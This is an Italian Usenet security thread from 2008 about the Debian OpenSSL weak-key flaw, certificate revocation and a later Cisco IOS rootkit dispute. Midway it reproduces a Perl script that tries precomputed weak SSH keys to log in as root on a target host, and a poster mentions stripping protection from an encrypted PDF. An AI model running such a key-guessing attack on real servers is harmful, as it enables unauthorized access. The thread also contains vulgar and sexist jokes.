Newsgroup: it.comp.sicurezza.varie
Titolo: Re: Sempre a proposito di Debian ed OpenSSL...

 quanto sopra e se/cosa si stia facendo in merito 
Io come vedi sono preoccupatissimo :) Ho una casino di certificati 
generati da macchine debian :-D

 generati da macchine debian :-D
Una cosa perï¿œ mi sembra che Tu abbia volutamente o colposamente 
tralasciato. Supponendo pure che qualche autolesionista detti 
certificati (per via di https o posta ssl) li abbia anche fatti firmare 
da un Auth, quanto costerï¿œ ritirarli e procurarne di nuovi ? Se ne 
deduce che quasi nessuno provvederï¿œ, perchï¿œ i vari nerdoni che hanno 
consigliato "il capo" o alcuni riluttanti clienti di metter su la 
debianuccia col piffero andranno a raccontare l'incidente e a dire devi 
pagare per via di questa cazzata ...
Quindi apetteranno la prossima voce di spesa per sbatterlo dentro come 
aggiornamento o rinnovo. E nel contempo viaggeranno senza mutande.

 aggiornamento o rinnovo. E nel contempo viaggeranno senza mutande.
PS poi dicono che debian non è per il business. LOL eccome se lo è. 
Sentitamente ringraziano tutti gli Enti certificatori Amerikani, 
antipoerai, reazionari e oscurantisti. Prezzo scontato 50%: offerta bug 
per tutti i debianari. Ulteriore 3 % di sconto per quelli italiani di 
*estrema* sinistra, premio elezioni.

 si figuriZ. Visto che si trollaZ.
ROTFL! Che merdaccia...
-- 
Do you wish to see the greatness of our army? We are the fighting
Uruk-Hai

 *estrema* sinistra, premio elezioni.
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Chissà perchè leggo dei riferimenti a persone.. :-D


 CA che capita :P
Vero; però in fondo a pensarci bene non ci vedo nulla di anomalo. Anche 
gesù i pesci li moltiplicò tutti uguali, poi li nessuno sapeva leggere 
e scrivere e non si sa chi li abbia firmati. Resta tutavia un criterio 
democratico di equità.

 di trollare, la faccenda è abbastanza seria :(
Seria ? Macchè, direi assolutamente prevedibile:
Tu No Suse ? Ahi Ahi Ahi Ahi Ahi Ahi Ahi Ahi Ahi

 fidarsi di quel certificato :(
ma dechï¿œ:
http://security.debian.org/project/extra/dowkd/dowkd.pl.gz
si verifica se il certificato ï¿œ bacato no?
Se poi nessuno verifica puppa.
Poi un utente suse non accetterebbe mai un certificato generato su una 
debian. Il camaleonte lo sputerebbe come cibo insalubre.

> 
http://security.debian.org/project/extra/dowkd/dowkd.pl.gz
Tu hai usato quello o aspetti il pacchetto rpm di suse? :-P

 Tu hai usato quello o aspetti il pacchetto rpm di suse? :-P
Non è difficile: non ho certificati eiaculati da un generatore pazzo 
debian.
Non aspetto nulla pertanto, e come ben sai i miei pacchetti sono per la 
maggior parte modificati e ricompilati a manina, come quando la nonna 
faceva "i" gnocchi. L'ho postato per i debian-fighetti che fanno gli 
akeroni e poi esordiscono coi sorrisoni qiando scaricano la patch 
(della serie .. visto poche ore tutto risolto!) , senza rendersi conto 
che è una minima parte del problema. Il che dimostra che non è la 
distro che fa il manico, e questi in grande percentuale son quasi tutti 
dei fighetti da dpkg. Mi ricordano i ciclisti della domenica con la 
tutina aderente, depilazione inetgrale, ruote lenticolari, bicicletta 
antigravitazionale, elemetto a basso cx, che dopo due pedalate son già 
cotti. Nella fattispecie è poi come se il sellino se lo fossero 
dimenticati in garage.
Cosa usano e come funziona manco se lo pongono il probelma. Però loro 
ci han debian e son ganzi ... e sticazzi se dpkgizzano i nostri 
hackerini d'oro! :-D

 debian.
Non lo sai.
Sai che cosa ha usato infocamere?
-- 
           |Save our planet!
    Ciao   |Save wildlife!
   roberto |For your E-MAIL use ONLY recycled Bytes  !!
           |roberto poggi   
rpo...@softhome.net

 Sai che cosa ha usato infocamere?
Io di PET conosco solo quelli in gabbietta che zompettano in tondo 
sulla ruota e poi finiscono in laboratorio, o magari a disquisire su 
usenet sulle porte 80.

 Io di PET conosco solo quelli in gabbietta
non era PEC :) ?
ad ogni modo... 
http://xkcd.com/424/
 :D !!

 da un Auth, quanto costerà ritirarli e procurarne di nuovi ? 
0 almeno con VeriSign:
[cut]
VeriSign is providing Revocation and Replacement of SSL certificates at 
no charge for those VeriSign customer's affected by this vulnerability.
[/cut]
preso da: 
https://knowledge.verisign.com/support/ssl-certificates-support/index
?
page=content&id=AD91&actp=LIST
-- 
no signature yet

 ultimi anni su macchine Debian ?
ho come il vago sospetto che il numero sia MOLTO alto
per lo meno leggendo questo
https://knowledge.verisign.com/support/ssl-certificates-support/index?page=content&id=AD91&actp=LIST
<quote>
Replace all affected SSL certificates. In accordance with this advisory,
VeriSign is providing Revocation and Replacement of SSL certificates at
no charge for those VeriSign customer's affected by this vulnerability
</quote>
se si considera che Verisign č una delle CA piů utilizzate
ho come la vaga impressione che ci possano essere un
tot di certificati "bacati" in circolazione, senza poi contare
quelli generati da "custom CA" che abbiano ottenuto un
certificato da Verisign :(
che casino, il "trust link" si č spaccato... e di brutto !

 [/cut]
non ci sono più gli imperialisti di una volta !
Io glieli facevo pagare il doppio :-D 
Han tutte le fortune gli spiraloni.

 ad ogni modo... 
http://xkcd.com/424/
 :D !!
però stavolta non li ho visti frignare come la volta che gli han 
fiondato il repository. Secondo me si arrabbiano solo quando gli 
toccano i pacchettini. Tu che dici ? E' senso del possesso o giocano a 
tana ?

 giocano a tana ?
uff... vuoi proprio far partire un flame eh :) ? Ad ogni modo, in
effetti
tutto questo "misterioso silenzio" non č affatto normale ... mah !

 effetti tutto questo "misterioso silenzio" non è affatto normale ... mah !
pooracci. Il mito della distro dura pura e sicura è crollato come le 
twin towers sotto gli sberleffi e gli occhi attoniti del mondo 
informatico, stupiti da un botto simile, che non avrebbero creduto 
possibile neanche per un windows millenium; che fare ? Prenderli a 
schiaffoni a vedere se riappoggiano le zampe per terra mi sembra un 
ottima idea. :-D
tiè, fatti due ghignate...
http://blog.rominet.net/2008/05/debianopenssl-debacle.html

 tutto questo "misterioso silenzio" non è affatto normale ... mah !
Per una volta che può sguazzare lascialo fare.... dopo tutti i rospi che ha
dovuto ingoiare con il suo camaleontico amico è giusto che anche lui possa
avere i suoi 18 mesi di gloria :-)
-- 
Flavio Visentin
Scientists have finally discovered what's wrong with the female brain:
On the left side, there is nothing right, and on the right side, there
is nothing left.

 Solaris/redhat? Pensaci su un attimo.
Mi dice l'uomo del Monte, che usano prevalemnte aix.


Esatto, e siccome nel processo di creazione del certificato le chiavi di 
solito le genera l'host "titolare" del certificato stesso, il problema è 
circoscritto alle macchine debian che avevano al momento della richiesta del 
certificato una delle versioni di openssl incriminate a bordo, che non 
saranno poche, ma nemmeno milioni.
Sicuramente sono molte di più quelle che hanno un bel ssh aperto al mondo e 
adesso sono diventate dei bei bot al servizio di spammer/phisher/trojaner.

 saranno poche, ma nemmeno milioni.
qui non ti ho capito. Posto che il bug ha più di un anno e mezzo e che 
un certificato digitale normalmente (chiaramente uno setta come vuole) 
viene generato con validità annuale, perchè dici non sarebbero milioni?
Pensa poi a centinaia di chiavi generate per client vpn e distribuite a 
dipendenti "viaggianti", tutte da revocare sostituire ...
Han fatto su un casino mostruoso che si amplifica perchè quando la 
catena di trust vien messa in dubbio subentra poi spesso anche la 
paranoia.

 tutto questo "misterioso silenzio" non è affatto normale ... mah !
difatti. Anche su punto informatico parlano di inutili ridicoli windows 
worm e niente sulla questione. E' una forma sottile di censura quando 
si parla di debian: tacere e negare i fatti mai, ma dar il minimo 
risalto possibile sempre.

 paranoia.
Quelli li mettiamo insieme agli ssh ormai troianizzati :)
Per onor di cronaca va detto che la cosa non è così semplice, dopo ore di 
brute forcing (il bug sostanzialmente riduce notevolmente l'entropia delle 
chiavi ma non la azzera) tutto quello che ottieni è poter sniffare una 
sessione ssh o openvpn in corso per catturare password e/o chiavi di 
accesso, che su internet non è poi una cosa così banale. 

 paranoia.
In merito alla catena di trust, più che paranoia potrebbe essere un incubo, 
il mio internet explorer riconosce molte decine di certificati "emittenti" 
come verisign, se solo uno di questi fosse buggato io potrei entrare in un 
server con un certificato finto senza che explorer mi segnali nulla, il che 
vuol dire che potrebbero clonare il sito della mia banca, installargli un 
certificato falso e con un dns poisoning o un semplice redirect farmi 
entrare nel sito clonato per poi svuotarmi il conto anche se sono il più 
paranoico del mondo.
Sono però convinto che abbiano fatto tutti come verisign, vale a dire si 
siano avvalsi di prodotti commerciali, dove se non altro c'è qualcuno che ci 
rimette il culo al posto loro in casi come questo.

 accesso, che su internet non è poi una cosa così banale. 
20 minuti massimo sun una macchina comune  in locale apri la shell con 
certificato rsa 2048 "buggato"
#!/usr/bin/perl
my $keysPerConnect = 6;
unless ($ARGV[1]) {
  print "Syntax : ./
exploiter.pl
 pathToSSHPrivateKeys SSHhostToTry\n";
  print "Example: ./
exploiter.pl
 /root/keys/ 127.0.0.1\n";
  print "By 
m...@deadbeef.de
\n";
  exit 0;
}
chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
  chomp;
  next unless m,^\d+$,;
  push(@a, $_);
  if (scalar(@a) > $keysPerConnect) {
     system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i 
".$_ } @a)." ".$ARGV[1]);
     @a = ();
  }
}
il problema sono casomai gli script di protezione sui tentativi 
multipli e le latenze aggiutve di internet, ma in locale, se è 
concepibile un locale per un hacking siffatto, non sono ore.
Ragioniamo al contrario e diciamo ome in tutti brute force che la 
stessa cosa è tentare tutte le chiavi su una sola macchina o una chiave 
della possibili N di una data archiettura, su N macchine. visto le 
immensi reti di bot l'acquisizione di nuovi volontari non è poi così 
scongiurata.
 

     security flaw."
uhm ... i root magari no, però nella pagina c'è scritto...
<quote>
Replace all affected certificates. In accordance with this advisory,
VeriSign is providing Revocation and Replacement of SSL certificates at no
charge for those VeriSign customer's affected by this vulnerability.
</quote>
ora, tu quel "all affected customers" come lo interpreti :) ?
Se ci aggiungi che sembra che i debianisti oltre al danno stiano
anche aggiungendoci la beffa, visto che già esiste un tool bello
e pronto per sniffare webservers e trovare certificati bacati
http://wiki.debian.org/SSLkeys#head-f2bdd99a686b944264c7ecd66a8361d64c15a656
ho idea che il phishing (e non solo quello) potrebbe raggiungere
vette mai viste fino ad oggi :P e poi c'è il discorso della "trust
chain", ho idea che dopo questa botta sia rotta di brutto :(

 Solaris/redhat? Pensaci su un attimo.
e questo cosa diavolo c'entra ? Se una banca s'è appoggiata ad una
CA che ha usato un Debian OpenSSL per generare i certificati, ora
la banca ha certificati bacati, indipendentemente dall'OS sul quale
questi siano stati installati/utilizzati

 questi siano stati installati/utilizzati
Assolutamente no, la root ca si limita a firmare, quindi ad autenticare, il 
certificato che tu hai generato.
Se una root ca firmasse con un certificato bacato le sessioni protette dal 
tuo certificato non sarebbero in pericolo, quello che potrebbe succedere è 
che chiunque potrebbe firmare certificati a nome di quella root ca, rompendo 
di fatto la catena di trust, il che se vuoi ti fa un danno ancora peggiore, 
visto che gli utenti informati si rifiuteranno giustamente di collegarsi al 
tuo server, o ancora peggio da qualche parte del mondo potrebbe esistere una 
copia del tuo server con un certificato apparentemente legittimo al quale 
utenti disinformati possono collegarsi credendo di essere sul tuo.

 rigenerare e ridistribuire tutti i certificati
]zac[
Da quel che ho capito il problema non è che siano insicuri i certificati in
se, è che potrebbero essere meno sicuri a causa di una scarsa casualità
della generazione dei valori utilizzati come base, quindi qualcuno partendo
da un certificato/punto conosciuto potrebbe in relativamente pochi
tentativi di brute-force risalire ai successivi/altri certificati generati.
Se ho ricordo bene insieme all'aggiornamento viene fornito un comando per
testare la sicurezza del certificato.

 ora, tu quel "all affected customers" come lo interpreti :) ?
Tutti i clienti che hanno generato chiavi compromesse e le hanno sottoposte
per la firma. Comunque questo non è un gravissimo problema nel 90% dei casi;
il problema è quel rimanente 10%.


 il problema è quel rimanente 10%.
Sto aspettando con ansia il momento in cui dirai che è stato un evento 
marginale di nessun valore pratico sostanziale.
Allora saprò he ti sei ripreso e che stai bene di salute. :-D

 Allora saprò he ti sei ripreso e che stai bene di salute. :-D
Allora puoi prenotare la bara.... E' stata la cosa che m'ha fatto roteare
più vorticosamente gli zebedei negli ultimi 5 anni.
La colpa non la do a Debian; sono capitati in passato casi analoghi con
altre distro; quel che fa girare i co....ni è che non si toccano pacchetti
così critici senza un opportuna verifica e questo bug è dovuto a
superficialità. Certamente a quello sviluppatore toglierei qualsiasi
possibilità di toccare pacchetti diversi da gnome-chess.
E quel che è MALE è che sia stato un bug introdotto in stable e che ha
lasciato esposti i server per ben 18 mesi. Tutto sommato io sono colpito
solo marginalmente, ma penso che molti sono ancora con il culo scoperto.
La parte grave è sull'ssh; per l'SSL il problema è facilmente risolvibile e
comunque espone solo al rischio intercettazione, che per quanto grave non lo
è certamente quanto un accesso remoto autenticato.



Beh, sarebbe gravissima anche l'intercettazione, dato che ti permetterebbe 
di recuperare le password di accesso degli utenti, quello che la renderà 
quasi inoffensiva è che occorrono tecniche molto sofisticate per metterla in 
pratica, il che dovrebbe aver dato il tempo ai server più "attraenti" di 
mettere la pezza, sempre che questa vulnerabilità sia diventata subito 
pubblica e non sia passata prima per le mani sbagliate, come a volte 
succede.
Anche l'accesso remoto in ssh non è poi così semplice, i server a rischio 
sono quelli configurati per autenticare gli utenti per mezzo delle sole 
chiavi rsa, mi sbaglierò ma credo si tratti ampiamente di una minoranza, 
quasi tutti utilizzano il classico accesso con login interattivo o la 
combinazione dei due, considerata come best practice in tutti i testi seri.
Tutto sommato credo che la gravità del problema sia più sull'aspetto 
formale, il che basta e avanza, ma l'impatto pratico dovrebbe essere 
relativamente limitato, un po' di nuovi server entrati a far parte di 
qualche rete di bot, cosa che succede tutti i giorni per mezzo di mille 
altre tecniche e vulnerabilità.

 rimette il culo al posto loro in casi come questo.
E su questo ce n'è da ridire. Non ho MAI visto ne sentito nessun produttore
di prodotti software commerciali rimetterci il culo per cose analoghe, anche
perché tutti i prodotti hanno un EULA che esclude questa possibilità.
E' più facile che ci rimetta il culo qualche consulente...


 più vorticosamente gli zebedei negli ultimi 5 anni.
Toh adesso mi tocca consolarti e difendere un mantaoner debian :-D
Se non piove viene il terremoto
Guarda mi risulta se lui chiese sul dev di ssl se era possibile 
eliminare qulle due righe e nulla emerse in contrario. 
In realtà ho letto la proposta di questo tag, che dovrebbe essere 
inserita sistematicamente, un rito su certi software delicati:
"This code is delicate. Don't modify it unless you understand it. If 
you think you understand it, you don't. I wrote it and I don't 
understand it."

 debian.
E sei sicuro che nessuna delle tue chiavi ssh create con suse non sia
presente nei dizionari degli scannerz che tra non molto (se non gia')
cominceranno ad abusare del tuo sshd? Mica sono chiavi esoteriche: le
chiavi debian sono un sottoinsieme di quelle "buone". Le probabilita' 
sono irrisorie, ma la sfiga ci vede  benissmo :-) (e mi sembra che si
tratti di un aspetto un po' sottovalutato).
Fabio

 un po' sottovalutato).
Per fortuna che ci pensi tu.
A proposito hackerino d'oro. Io avevo chiesto un pdf.
GPL Ghostscript 8.61 (2007-11-21)
Copyright (C) 2007 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
Loading NimbusMonL-Regu font from C:\Programmi\gs\fonts/n022003l.pfb... 
2847096 1290893 2914144 1611613 1 done.
Scanning c:\psfonts for fonts... 0 files, 0 scanned, 0 new fonts.
%%[ ProductName: GPL Ghostscript ]%%
This PostScript file was created from an encrypted PDF file.
Redistilling encrypted PDF is not permitted.
Unrecoverable error: undefined in eexec
Operand stack:
    --nostringval--  --nostringval--  quit
gsapi_execute_cont returns -21
gsapi_exit returns 0
pensarai mica di aver finito deh'.
ora se tanto mi da tanto stai sostenendo che potremmo ricaverne un ps 
(bypassando le stampanti indirizzate su file che al plugin non 
garbano), potremmo anche visualizzarlo con ps aumentando 7 - 8 volte le 
dimensioni del file. Evvabè. Gia casca mezzo asino. Io vorrei che ti 
impegnassi ulteriormente e finissi i compiti :)


Quelli ce lo rimettono a prescindere.

 A proposito hackerino d'oro. Io avevo chiesto un pdf.
Pensavo che almeno quello sapessi farlo da solo. C'e' 
posta per te. 
...ah: Tempo totale ps+pdf circa 180 secondi compreso 
il download dei tool.
Acherino

 Acherino
appunto. Non usare trucchetti sporchi. Puoi fare meglio.
Cmq debbo convenire: passando dall' eps è mica sta gran tutela. Lo è 
magari per l'utente vulgaris non per gli acherini.
L'avevo vista più complessa perchè l'approccio che avevo usato era 
tutto meno che la modifica manuale del postscript.
Qui o si inventano le stampanti fisiche per i services certificate con 
chiavi ssl (possibilmente generatore non su debian) e firmware 
bloccati, o la vedo grigia. 

 
http://rt.openssl.org/Ticket/Display.html?id=521&user=guest&pass=guest
ROTFL ... la infoflex , sarà mica quella dei materassi ?
Dormi tranquillo e asciutto debian notte randomizza tutto.
Notare il debianico tenore delle dissertazioni:
Obviously patching the real bytes() is the proper way to
do it, but since I didn't have the time to further examine
where the uninitialized variable came from, patching
RAND_bytes() became the easy (and simple) solution for me.
Ci sono tutti i comportamenti debianari classici:
- è vero sarebbe meglio o più rigoroso ... ma c'è un però
- NON HO TEMPO !! ahahahahahah Svicolata classica del nerdone 
debianista è ammettere che la soluzione sarebe diversa però LUI non ha 
tempo è impegnatissimo ROTFL. Si deve leggere: "non ci ho capito un 
cazzo e non saprei diove metter le mani. Però quelle urla di Valgrind 
mi angosciano".
- però gli viene il sospetto e chiede: "ma se elimino ste due righe 
succede qualcosa. Sta parte di codice mi sa sbagliata" ?
E'come il bambino che chiede alla mamma: "mamma se taglio il pisellino 
al pipì la faccio lo stesso? Secondo me è sbagliato: penzola!".
- gli rispondono: " No, molla li, è corretta. Ma scusa leva dai maroni 
quei controlli di valgrind se proprio di turbano!"
- Naturalmente fa il cazzo che gli apre e chiude l'eccezione. Quelli 
urla di uninitialised data proprio lo turbano. Deve essere uno che 
programmava in Fortran ai tempi. :-D
MITICI!!!

 tocca rigenerare le chiavi del certificato SSL del mio sito web :-(
si ok, giusto; però ... supponiamo che un tal "Sig. Rossi" abbia
acquistato
da Verisign un certificato per il proprio sito web di eCommerce; ora,
stando
a quello che c'è scritto su quella pagina, tu ti sentiresti di affermare
che il
nostro "Sig.Rossi" non rientri nella schiera di "all affected customers"
:) ?
E poi; pensa a quelli che gestiscono WAN con sedi sparse per il mondo e
che magari usano OpenVPN per le connessioni... ed ora si trovano di
botto
a dover rigenerare tutti i certificati ... e non solo... che si stanno
chiedendo
se per caso qualcuno nel frattempo non abbia approfittato del "bug" :(

 possono collegarsi credendo di essere sul tuo.
infatti ho come la vaga impressione che i "phishers"
in questo momento stiano stappando lo champagne !

 mi tocca rigenerare le chiavi del certificato SSL del mio sito web :-(
http://wiki.debian.org/SSLkeys
<quote>
In addition, any DSA key must be considered compromised if it has been
used on a machine with a 'bad' OpenSSL. Simply using a 'strong' DSA key
(i.e., generated with a 'good' OpenSSL) to make a connection from such a
machine may have compromised it. This is due to an 'attack' on DSA that
allows the secret key to be found if the nonce used in the signature is
known or reused.
</quote>
:P


Solo nel caso che una root ca sia coinvolta nello scandalo, cosa che a 
questo punto si saprebbe, quindi lo escluderei con una certa tranquillità.
I phishers e gli spammers temo si dovranno accontentare di qualche nuovo 
server da usare per i loro bot. 

> MITICI!!!
Mi sembra di cogliere i segnali di un orgasmo incontrollato spasmodico con 
abbondante polluzione e roteazione convulsiva dei bulbi oculari.
Vuoi vedere che laddove la natura getta la spugna la tecnologia riesce a 
compiere il miracolo?

 compiere il miracolo?
Perchè il Viagra che è scusa ? Ovvio che dove non arriva da sola madre 
natura si puoi dare un aiutino.

 natura si puoi dare un aiutino.
Il fatto è che dopo anni di astinenza in questi giorni rischi l'infarto, 
d'altronde sono sicuro che la tua morte ideale sarebbe quella a cavallo di 
una bella.......spiralona troianizzata. 

 una bella.......spiralona troianizzata. 
guarda che neanche il gerbillo le augura queste sfighe; che poi le 
porti comunque son parole sue. :D
Di debian troianizzate è piena la rete, come ci centos, suse ... Basta 
guardarsi i log del firewall già ai soli tentativi sulla 22 e non sen 
sbaglia una. Hai nemmeno bisogno di scomodare nmap al 90 % delle volte. 
Loro ci provano sulla 22, tu le navighi sulla pagina di default di 
apache alla 80 (ho detto 80 ?), dove in bella mostra trovi l'os.
Sta mica qui il divertimento. Sono i nerdoni la vera passione.

 Solo nel caso che una root ca sia coinvolta nello scandalo
uh ... no ! Se un certificato è "bacato" ma *anche* se è buono
ma usato su una macchina "bacata" è possibile craccarne
la chiave e quindi clonarlo, ergo, festa grande per i phishers
altro che root-CA

 è un rootkit della serie "Albania" ovvero damme na' mano va'.
E' un rootkit e fa quello che fanno tutti i rootkit.

 E' un rootkit e fa quello che fanno tutti i rootkit.
giusto, cioè niente fintanto che qualcuno non li installa, visto che 
questo almeno da solo non ha gran fantasia.

 gran fantasia.
mbeh dai, seriamente; le "bestie" piů recenti di solito
non si installano da sole ma usano un "installer" ossia
un pezzo di codice (spesso automodificante o cmq
facilmente modificabile) che, attivandosi sul sistema
vittima, procede al download della "bestia" propriamente
detta ed all'avvio della stessa; non sottovalutare la cosa,
anche perchč č un sistema che viene usato sempre piů
spesso per il malware "drive-by" download

 spesso per il malware "drive-by" download
Dipende da quale livello di sicurezza stiam parlando. Se mi dici grande 
azienda e consulenti infedeli, spionaggio industirale ... ci sta anche.
Ma se parliamo della prassi devi a che fare con un sistema vulnerabile 
che consente l'accesso con credenziali amministrative (e normalmente 
dall'esterno per giunta) e bisogna ricordarsi che quella roba sono 
normalmente router; e un router non è un PC: non ci scarichi niente non 
ci installi niente di diverso dalla sua immagine di so e dal file di 
configurazione. In più son router configurati normalmente da 
professionisti. Ora perchè qualcuno dovrebbe spendere tutte queste 
energie per installare un rootkit su un sifatto router disponendo di 
migliaia di macchina sventrate e router fai da te - da mercatone 1 - 
completamente aperti su internet ? Per il bug ssl il senso lo da il 
rischio phishing (ovvero money) e per acquisire nei ranghi sempre più 
macchine da zombizzare); ma tutta sta fatica per un router ? mah, sarà  
...


Non capisco.
Mi sembrava un punto fermo che l'anello debole della catena era la 
generazione di un certificato, o meglio delle sue chiavi, su una macchina 
bacato, se adesso mi dici che una macchina bacata ha problemi anche con 
certificati buoni mi manca qualcosa, cosa? 

 completamente aperti su internet ?
Tutte queste energie sono da verificare, la storia ci insegna che nessun 
sistema è al sicuro da forature, soprattutto se non viene seguito e 
manutenuto, cosa abbastanza comune sui router dato che vengono percepiti dai 
più come delle scatolette innocue e per questo spesso installati e poi 
dimenticati per anni.
Poi ci sono i tecnici incompetenti o improvvisati, gli errori umani, gli 
incidenti di percorso......gli exploit.
Solo di router con l'accesso aperto sulla full internet e password guesseble 
o di default ce ne saranno probabilmente migliaia in giro per il mondo.
Chiaramente è più facile zombizzare un esercito di pc semplicemente 
nascondendo un bel java in un sito porno, ma i pc hanno due limiti che quasi 
tutti i router non hanno, sono dietro ad un firewall e sono dietro ad un 
nat, il che impedisce molti giochi, come fare da proxy, da mail relay, da 
dns, ecc.....
Tra l'altro un router è per sempre....chi si accorgerebbe che qualcuno ha 
zombizzato il proprio router al di fuori del firewall e da qualunque sistema 
interno di controllo?
Non ti lampeggia nemmeno la luce del disco!!!! 



http://wiki.debian.org/SSLkeys
<quote>
In addition, any DSA key must be considered compromised if it has been
used on a machine with a 'bad' OpenSSL. Simply using a 'strong' DSA key
(i.e., generated with a 'good' OpenSSL) to make a connection from such a
machine may have compromised it. This is due to an 'attack' on DSA that
allows the secret key to be found if the nonce used in the signature is
known or reused.
</quote>
ciao

 Non ti lampeggia nemmeno la luce del disco!!!! 
A te sta lampeggiando la luce del business. Imho puoi spegnerla per un 
po', almeno per quanto a ste rootkit. :-D


OK, a quanto pare è un problema di dsa noto da molto tempo, che sembra 
aspettasse proprio un caso come questo per avere l'onore delle cronache.
Siccome però dsa può solo firmare mentre rsa può anche cifrare, la 
stragrande maggioranza di certificati e chiavi in circolazione sono rsa, 
quindi totalmente esenti dal problema. 

 lucro, traccia dell'IP da qualche parte poi la lasci.
Continui a discutere del sesso degli angeli, è chiaro che l'ip prima o poi 
verrà tracciato, fa parte del gioco e non sicuramente motivo di 
scoraggiamente dei tuoi hacker. 

 scoraggiamente dei tuoi hacker. 
Vediamo se oggi ho il dono della sintesi. Pur partendo da un 
obbiezzione completamente diversa siamo arrivati a dire:
- Visco costa poco di acquisto e mantenimento : lo dice il nome stesso. 
Ciò è per giunta una innegabile garanzia di qualità
- Visco è per la full disclosure e non ha segretini: non solo mette in 
rete il nome di tutti i contribuenti ma c'è anche un pericoloso rootkit 
che nessuno ha visto e che anzi non dovrebbe nemmeno girare perchè 
probabilmente se lo comprano assieme a chi l'ha scoperto. Questa prassi 
BuyTheHacker (BTH) unitamente alla Full Disclosure (FD) sono una 
feataure pressochè esclusiva del sistema, se non fosse più o meno la 
stessa policy di altro os americano molto diffuso.
- Questo rootkit richiede accesso locale con credenziali 
amministrative: motivo per cui localmente un domani siam sicuri di 
trovarlo frequentemente nei routers degli uffici amministrativi. Il 
fatto di trovarlo non è poi dovuto a un cazzata di configurazione ma a 
qualcos'altro, perchè i VM non sbagliano mai. E che cazzo, loro ci 
hanno il patentino. In particolare il godimento nel realizzare un 
botnet VOS dovrebbe dissuadere la criminalità cibernetica nel 
continuare a forare le migliaia macchine configurate alla cazzo di cane 
su internet. Il motivo è che il segretino sarebbe meglio custodito in 
quanto non lampeggia la SPHD (Un dubbio: ma avevamo detto che non ne 
aveva di segretini ? Vabbè). Questo meraviglioso congegno è quello che 
palesa infatti ai sysadmin la presenza di rootkit su macchine 
troianizzate perchè:
- un buon server ha tale congegno
- un buon sysadmin lavora al buio per risparmiare la corrente 
necessaria ai suoi server e quindi vede subito lampeggiare la SPHD. Se 
lampeggia il server non è detto che lavori: probabilmente è un troian.
- Un agente infestante abiura la RAM e quando anche così non fosse 
esiste altro congegno detto (LNKETHSPHD) che sincronizza la lucina 
della scheda ethernet con quella del case dell'hd, per palesare 
siffatti agenti
- Un buon sysadmin presidia la sua macchina sul fronte e sul retro 24 
ore al giorno
- Un apparato Visco non ha lucine per il traffico. E in goni caso il 
rootkit si premunirebbe di spegnerle.
- Un buon sysadmin scarta ogni complaint. E' arcinoto che le RFC 
consigliano di scartare completamente ogni e-mail pervenuta su 
postmaster e abuse iin quanto spam. Le RBL sono di destra e pertanto 
scartano il traffico in quanto fassiste. Non sono pertanto sintomo di 
alcunchè.
Tutto cioò rende il Rootkit VOS pagante.
- L'esistenza di un rootkit prova poi oltre ogni ragionevole dubbio che 
anche VOS è un sistema operativo, per chi avesse ancora qualche dubbio, 
e come tale fallace come la Debian. Inoltre abbiam detto è full 
disclosure segretino-free. Se esistesse una contratto sociale VOS 
potremmo volendo ribattezzarlo Vebian.
- Lo spionaggio industriale è quella prassi di hacking che incappa 
facilmente in spam trap e in rbl. Quando non beccati dopo al più 24 ore 
per noia detti rootkits si autodenunciano loro stessi alle principali 
SH informatiche. I rootkit da spionaggio industriale sono comunque 
riconosciuti da Kapersky VOS che aggiorna le firme ogni tre secondi. 
Ogni sistema operativo ha difatti il suo antivirus. Pertanto come 
diceva Peter ... "Proteggetevi".

> Vediamo se oggi ho il dono della sintesi.....
Io purtroppo non ho il dono della sintesi, quindi porgo le scuse anticipate 
per le dilungaggini e dico:
cosa cazzo ti sei bevuto?
O forse dovevo dire vazzo......mah. 

 O forse dovevo dire vazzo......mah.
ROTFL.

Aggiornamento sulla faccenda rootkit per router.
A seguito della tanto chiacchierata presentazione sull'argomento e a 
distanza di ben 5 giorni si sta verificando un assordante silenzio 
sull'argomento, posto di seguito le riflessioni di un ricercatore sulle 
possibili cause, da notare che si tratta dello stesso (e praticamente unico) 
ricercatore che in precedenza si era battuto perchč la presentazione non 
avesse luogo per motivi di sicurezza:
There appears to be a media blackout on the EUSecWest Cisco IOS rootkit 
presentation.Did the British Intelligence Service get everyone to sign the 
secrecy act before they entered the presentation?
Un secondo ben noto ricercatore inveisce pesantemente su cisco e su come sta 
gestendo la situazione:
Last week my opinions were well-formed after a few years of thinking on the 
subject. I decided to re-examine my take as I may have just stagnated on the 
issue and the landscape changed. I reached the same conclusions.Still no 
decent response on why they never spoke to their clients on Trojan horses on 
IOS, rootkits on IOS.. or practically, what tools they provide to deal with 
them or what their plans are to help us protect ourselves and our 
infrastructure. One could guess they have non.As someone recently mentioned 
to me, after the Michael Lynn talk they started admitting to remote code 
execution vulnerabilities being more than just DoS in their announcements. 
Maybe that is a trend and we will get more information from them in the 
future, now that rootkits as a threat to IOS is a publis issue.Cisco's 
"threats don't exist until our clients already know of them" strategy is 
running out of steam, and will soon outlive its usefulness. Cisco is acting 
pretty much like Microsoft did 10 years ago, they shouldn't be surprised if 
security research treats them the same way as it treated Microsoft.I know 
what their treatment made _me_ do psychologically, it made me not want to 
reach out to them. It seems like the Michael Lynn way is the only way to go 
with their current attitude--full disclosure.As to the risk itself, it is my 
personal belief IOS rootkits are currently a threat as a targeted attack. 
Therefore, although of serious concern it is not yet something I fear on the 
Internet scale.Pure FUD, Cisco provided us with no real data:I do however 
dread the day XR gains some popularity, then it is as bad as Windows XP 
exploitability-wise. 2003, year of the worm. 2013, year of the Cisco worms?
Di nuovo il primo riceratore spiega perchč secondo lui invece cisco avrebbe 
le sue ragioni
No I don't think the world is safer, in fact the presentation release onto 
the internet has been gagged because its too dangerous to release it yet.I 
do not thank Core Security I think the whole thing has been handled badly by 
EUSecWest and CORE Security, they rushed out the announcement of the 
presentation, with little time for the government, the security industry and 
CISCO enough time to evaluate what was going to be presented.The 
presentation was rushed through to meet a ticket sales deadline agenda, no 
thought for security or polite time frame for all involved to evaluate, 
prepare and coordinate.Announcing the presentation slot with only 2 weeks or 
so before the presentation is to be given is an unacceptable behaviour.If 
you want to know why Cisco didn't have anything up on their site or that the 
information they provide isn't what you're wanting, its because Cisco has 
had hardly anytime to prepare it.Cisco and the government had to accommodate 
a ticket sales deadline time frame, not the desired time frame before the 
conference that they would have hoped for.This is why the presentation isn't 
being released online yet, Cisco, the security industry and the government 
